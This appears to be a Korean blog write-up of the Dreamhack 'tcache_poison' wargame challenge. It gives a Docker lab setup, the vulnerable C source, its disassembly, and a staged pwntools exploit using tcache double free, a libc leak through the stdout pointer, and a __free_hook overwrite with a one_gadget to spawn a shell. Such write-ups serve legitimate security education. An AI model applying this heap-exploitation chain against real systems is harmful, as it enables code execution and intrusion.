실습 환경
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
WORKDIR /root
COPY . /root
$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
pwndbg> checksec
[*] '/root/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드 분석
우선 코드를 살펴보면 free(chunk);로 free에 해당하는 case 2가 존재한다.
또한 나머지 1 3 4 case에서 동적할당, 텍스트 편집, printf 등 여러 기능이 존재하니, if (__glibc_unlikely (e->key == tcache)) 만 만족하도록 조작해준다면 double free 가 일어날 것으로 보인다.
그러니 일단 DFB를 만들고, 그 이후에 ROP 체인을 만들든 원가젯을 쓰든지 해서 플래그를 얻어내는 식으로 풀 수 있을 거 같다. 얼추 방향을 잡았으니 동적 분석으로 답을 찾아나가보자.
동적 분석
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400737 <+0>: push rbp
0x0000000000400738 <+1>: mov rbp,rsp
0x000000000040073b <+4>: sub rsp,0x20
0x000000000040073f <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400748 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040074c <+21>: xor eax,eax
0x000000000040074e <+23>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400756 <+31>: mov rax,QWORD PTR [rip+0x2008c3] # 0x601020 <stdin@@GLIBC_2.2.5>
0x000000000040075d <+38>: mov ecx,0x0
0x0000000000400762 <+43>: mov edx,0x2
0x0000000000400767 <+48>: mov esi,0x0
0x000000000040076c <+53>: mov rdi,rax
0x000000000040076f <+56>: call 0x400630 <setvbuf@plt>
0x0000000000400774 <+61>: mov rax,QWORD PTR [rip+0x200895] # 0x601010 <stdout@@GLIBC_2.2.5>
0x000000000040077b <+68>: mov ecx,0x0
0x0000000000400780 <+73>: mov edx,0x2
0x0000000000400785 <+78>: mov esi,0x0
0x000000000040078a <+83>: mov rdi,rax
0x000000000040078d <+86>: call 0x400630 <setvbuf@plt>
0x0000000000400792 <+91>: lea rdi,[rip+0x1bb] # 0x400954
0x0000000000400799 <+98>: call 0x4005f0 <puts@plt>
0x000000000040079e <+103>: lea rdi,[rip+0x1bb] # 0x400960
0x00000000004007a5 <+110>: call 0x4005f0 <puts@plt>
0x00000000004007aa <+115>: lea rdi,[rip+0x1b7] # 0x400968
0x00000000004007b1 <+122>: call 0x4005f0 <puts@plt>
0x00000000004007b6 <+127>: lea rdi,[rip+0x1b4] # 0x400971
0x00000000004007bd <+134>: call 0x4005f0 <puts@plt>
0x00000000004007c2 <+139>: lea rax,[rbp-0x14]
0x00000000004007c6 <+143>: mov rsi,rax
0x00000000004007c9 <+146>: lea rdi,[rip+0x1a9] # 0x400979
0x00000000004007d0 <+153>: mov eax,0x0
0x00000000004007d5 <+158>: call 0x400640 <__isoc99_scanf@plt>
0x00000000004007da <+163>: mov eax,DWORD PTR [rbp-0x14]
0x00000000004007dd <+166>: cmp eax,0x2
0x00000000004007e0 <+169>: je 0x400872 <main+315>
0x00000000004007e6 <+175>: cmp eax,0x2
0x00000000004007e9 <+178>: jg 0x4007f5 <main+190>
0x00000000004007eb <+180>: cmp eax,0x1
0x00000000004007ee <+183>: je 0x40080c <main+213>
0x00000000004007f0 <+185>: jmp 0x4008c5 <main+398>
0x00000000004007f5 <+190>: cmp eax,0x3
0x00000000004007f8 <+193>: je 0x400880 <main+329>
0x00000000004007fe <+199>: cmp eax,0x4
0x0000000000400801 <+202>: je 0x40089a <main+355>
0x0000000000400807 <+208>: jmp 0x4008c5 <main+398>
0x000000000040080c <+213>: lea rdi,[rip+0x169] # 0x40097c
0x0000000000400813 <+220>: mov eax,0x0
0x0000000000400818 <+225>: call 0x400600 <printf@plt>
0x000000000040081d <+230>: lea rax,[rbp-0x18]
0x0000000000400821 <+234>: mov rsi,rax
0x0000000000400824 <+237>: lea rdi,[rip+0x14e] # 0x400979
0x000000000040082b <+244>: mov eax,0x0
0x0000000000400830 <+249>: call 0x400640 <__isoc99_scanf@plt>
0x0000000000400835 <+254>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400838 <+257>: mov eax,eax
0x000000000040083a <+259>: mov rdi,rax
0x000000000040083d <+262>: call 0x400620 <malloc@plt>
0x0000000000400842 <+267>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400846 <+271>: lea rdi,[rip+0x136] # 0x400983
0x000000000040084d <+278>: mov eax,0x0
0x0000000000400852 <+283>: call 0x400600 <printf@plt>
0x0000000000400857 <+288>: mov eax,DWORD PTR [rbp-0x18]
0x000000000040085a <+291>: sub eax,0x1
0x000000000040085d <+294>: mov edx,eax
0x000000000040085f <+296>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400863 <+300>: mov rsi,rax
0x0000000000400866 <+303>: mov edi,0x0
0x000000000040086b <+308>: call 0x400610 <read@plt>
0x0000000000400870 <+313>: jmp 0x4008c5 <main+398>
0x0000000000400872 <+315>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400876 <+319>: mov rdi,rax
0x0000000000400879 <+322>: call 0x4005e0 <free@plt>
0x000000000040087e <+327>: jmp 0x4008c5 <main+398>
0x0000000000400880 <+329>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400884 <+333>: mov rsi,rax
0x0000000000400887 <+336>: lea rdi,[rip+0xff] # 0x40098d
0x000000000040088e <+343>: mov eax,0x0
0x0000000000400893 <+348>: call 0x400600 <printf@plt>
0x0000000000400898 <+353>: jmp 0x4008c5 <main+398>
0x000000000040089a <+355>: lea rdi,[rip+0xf8] # 0x400999
0x00000000004008a1 <+362>: mov eax,0x0
0x00000000004008a6 <+367>: call 0x400600 <printf@plt>
0x00000000004008ab <+372>: mov eax,DWORD PTR [rbp-0x18]
0x00000000004008ae <+375>: sub eax,0x1
0x00000000004008b1 <+378>: mov edx,eax
0x00000000004008b3 <+380>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004008b7 <+384>: mov rsi,rax
0x00000000004008ba <+387>: mov edi,0x0
0x00000000004008bf <+392>: call 0x400610 <read@plt>
0x00000000004008c4 <+397>: nop
0x00000000004008c5 <+398>: jmp 0x400792 <main+91>
일단은 메모리를 할당해주고 e->key == tcache 같은 조건을 상세하게 확인해보면서 어딜 건드릴지 판단해보겠다.
그럴려면 case 1에 들어가서 메모리 할당 이후를 봐야하니main+262에 브레이크를 걸고 malloc 전후 변화를 살펴본다.
free에 브레이크 걸고 구조파악을 해준다.
allocated 일때를 확인하고,
free 상태일 때 까지 ni 로 넘어가주면서,
tcache 들어갔으면 $e 걸어주고 key 확인해준다.
결과를 보니 modify로 \x00로 key를 덮어버리면 key 값이 조작 가능하다는 것을 알았다.
이제 libc base 주소를 알아낸 뒤 _free_hook 을 조작해서 free 호출 시 빈쉘이 실행되게 만들어보자.
정리하자면 hook overwrite + libc leak + tcache poisoning 으로 정리가 된다.
일단 여기까지 익스플로잇 코드를 작성해보자.
익스플로잇 코드 (중간)
from pwn import *
p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, content):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print3():
p.sendlineafter(b'Edit\n', b'3')
def edit(content):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b'chunk: ', content)
alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()
p.interactive()
이렇게 double free bug 를 일으킬 수 있다.
libc leak 은 위 c 코드에 'setvbuf(stdout, 0, 2, 0);` 에서 나오는 취약점을 이용한다.
자세한 설명은 아래에 해두겠다.
setvbuf 함수를 실행할 때 stdin 과 stout 을 인자로 넘긴 것을 볼 수 있다.
근데 stdin과 stdout 은 <stdio.h> 헤더 파일에 FILE * 타입의 전역변수로 선언되어 있다.
이런 전역 변수들은 동적 심볼로, 실행 시점에 libc 내부의 (실습에서는 libc-2.27.so) 내부의 _IO_2_1_stdin_, _IO_2_1_stdout_ 객체와 연결된다.
그말은 곧 프로그램 코드가 전역 변수에 접근하듯이 stdin과 stdout 을 사용하지만, 실제로는 glibc 내부 FILE 구조체를 가리키면서 입출력을 수행한다.
여기서 하나 생각해볼 수 있는 건 setvbuf(stdout, 0, 2, 0); 과 같이 실행파일에서 명시적으로 호출하게 되는 지금과 같은 경우이다.
이 경우엔 공격자가 stdout 을 사용하는 코드를 분석해보면, stdout은 당연히 _IO_2_1_stdout_ 를 가르킬 것이고, 이 주소가 유출될 수 있다면? libc 의 베이스 주소를 역산할 수 있다.
아래에서 바로 분석 후 활용해보자.
root@ad8b9a7fd378:~# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep _IO_2_1_stdout_
836: 00000000003ec760 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdout_@@GLIBC_2.2.5
자 위에서 몇 가지 정보들을 알아왔다.
0x601010 은 stdout의 포인터 값이고,
0x601010을 조사해보면 얘는 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dce760 으로,libc에 있는 stdout 을 가르키고 있다는 걸 알 수 있다.
그리고 00000000003ec760 은 오프셋 주소로 libc base + 0x3ec760을 하면 stdout 주소 가 되는 것 까지 알아냈다.
그러면 이제 libc를 어떻게 유출할지 정확히 방향을 잡을 수 있다.
더블 free bug 로 fd를 stdout의 포인터 주소에 조작해둔 뒤, stdout의 포인터 주소인 0x601010으로 보내버린다. 그러면 tcache는 다음 청크로 저 주소를 주게 될 거고?
거기서 한번더 호출을 해주고 주소를 읽으면 stdout의 주소가 leak 될 것이다.
바로 코드를 작성해보자.
익스플로잇 코드 (libc leak)
from pwn import *
p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, content):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print3():
p.sendlineafter(b'Edit\n', b'3')
def edit(content):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b'chunk: ', content)
alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()
addr_stdout_pointer = e.symbols['stdout']
print('stdout pointer addr : ', hex(addr_stdout_pointer))
alloc(48, p64(addr_stdout_pointer))
alloc(48, b'BBBB')
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(0x30, _io_2_1_stdout_lsb)
print3()
p.recvuntil(b'Content: ')
leak_stdout = u64(p.recv(6).ljust(8, b'\x00'))
print('leak_stdout addr : ', hex(leak_stdout))
libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
print('libc base : ',hex(libc_base))
p.interactive()
여기까진 성공이다.
이제 __free_hook overwriting 을 해주자.
__free_hook overwriting이란 free() 함수가 호출될 때 원래 free() 함수 대신 내가 지정한 함수로 가게금 만드는 것이다. 여기서 내가 지정한 함수는 원가젯에서 /bin/sh 을 실행하는 함수이다.
아까 처음에 했던 것 처럼, 더블 프리버그를 일으키고 __free_hook 주소를 fd 에 넣어둔다.
그러고 __free_hook 얘를 부른 다음에 원가젯을 적어 넣으면 free()를 트리거로 원가젯이 실행되어 쉘이 터질거다.
이제 원가젯부터 차근차근 찾아보자.
이렇게 원가젯 후보들을 쭉 나열해봤다.
free hook offset 도 같이 띄워두긴 했지만 이건 나중에 제대로 써먹어보자.
대충 아무곳이나 브레이크를 걸고 (난 main+322 에 걸어둠)
__free_hook 의 주소를 받아보자.
0x7ffff7dcf8e8 이 나왔다.
이제 여기를 x/gx 해주면, 뭐 아무 값도 없다.
우린 저 자리에 원가젯을 넣을 거다.
아무튼 브레이크를 걸고 쭉 실행을 시켜보면,
어딘가 걸리면서 세그먼트 폴트가 될 거다.
아무 값도 없는데 브레이크를 걸었으니 당연한 거고, 우린 저 원가젯 조건을 만족하는게 뭔지만 찾으면 되니 값들을 쳐보면?
rsp+0x40 가 조건을 만족한다는 것을 알았다.
원가젯 = libc_base + 0x4f432 로 마저 코드를 짜주자.
익스플로잇 코드 (최종)
from pwn import *
p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, content):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print3():
p.sendlineafter(b'Edit\n', b'3')
def edit(content):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b'chunk: ', content)
alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()
addr_stdout_pointer = e.symbols['stdout']
print('stdout pointer addr : ', hex(addr_stdout_pointer))
alloc(48, p64(addr_stdout_pointer))
alloc(48, b'BBBB')
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(48, _io_2_1_stdout_lsb)
print3()
p.recvuntil(b'Content: ')
leak_stdout = u64(p.recv(6).ljust(8, b'\x00'))
print('leak_stdout addr : ', hex(leak_stdout))
libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
print('libc base : ',hex(libc_base))
offset_IO_2_1_stdout = libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f432
alloc(64, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()
alloc(64, p64(free_hook))
alloc(64, b'A'*8)
alloc(64, p64(one_gadget))
free()
p.interactive()
이제 이걸 날려보면
플래그가 잘 나온다.
서버에도 날려보면?
역시 잘 나온다.
이때까지 푼 문제들 중에서 젤 난이도가 높았던 문제였다.
시간도 많이 걸렸고, 중요한 내용들이니 기억해두자.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable] Exploit Tech: Return to Library (0) | 2026.04.15 |
|---|---|
| [Pwnable] basic_exploitation_000 (0) | 2026.04.15 |
| [Pwnable Advanced] Exercise: tcache_dup (0) | 2026.04.15 |
| [Pwnable Advanced] Memory Corruption: Use After Free (1) | 2026.04.14 |
| [Pwnable Advanced] Exploit Tech: Use After Free (1) | 2026.04.14 |